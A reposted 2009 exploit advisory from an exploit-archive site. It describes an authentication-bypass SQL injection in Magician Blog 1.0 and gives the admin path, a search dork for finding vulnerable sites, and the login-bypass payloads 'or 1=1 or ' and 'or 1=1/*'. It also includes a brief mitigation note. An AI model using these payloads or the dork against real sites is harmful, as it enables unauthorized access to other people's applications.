Magician Blog - exploit.company

vendor:

Magician Blog

by:

Evil-Cod3r

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Magician Blog

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Magician Blog <= 1.0 (Auth Bypass) SQL injection Valunrability

Magician Blog version 1.0 is vulnerable to an authentication bypass vulnerability due to improper sanitization of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious SQL statements to the vulnerable application. This can allow an attacker to bypass authentication and gain access to the application.

Mitigation:

Ensure that user-supplied input is properly sanitized and validated before being used in SQL statements.

Source

Exploit-DB raw data:

==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [Â»] ~ Note : Been Repoted The Programed
==============================================================================
        [Â»] Magician Blog <= 1.0 (Auth Bypass) SQL injection Valunrability
==============================================================================

    [Â»] Script:             [ Magician v1.0 ]
    [Â»] Language:           [ PHP ]
    [Â»] home:               [ www.4smart.net ]
    [Â»] Founder:            [ Evil-Cod3r <IE7@Windowslive.com - o41@hotmail.Com> ]
    [Â»] Gr44tz to:          [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
    [Â»] Dork:               [ "Powered By 4smart" ]
    [Â»] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

You Need magic_quotes_gpc = off

===[ Exploit SQL  ]===  
  
    [Â»] http://www.Site.com/path/admin
    [Â»] Exploit :
    First : 'or 1=1 or '  & or & 'or 1=1/*
 

Author: Evil-Cod3r <-

###########################################################################

# milw0rm.com [2009-07-27]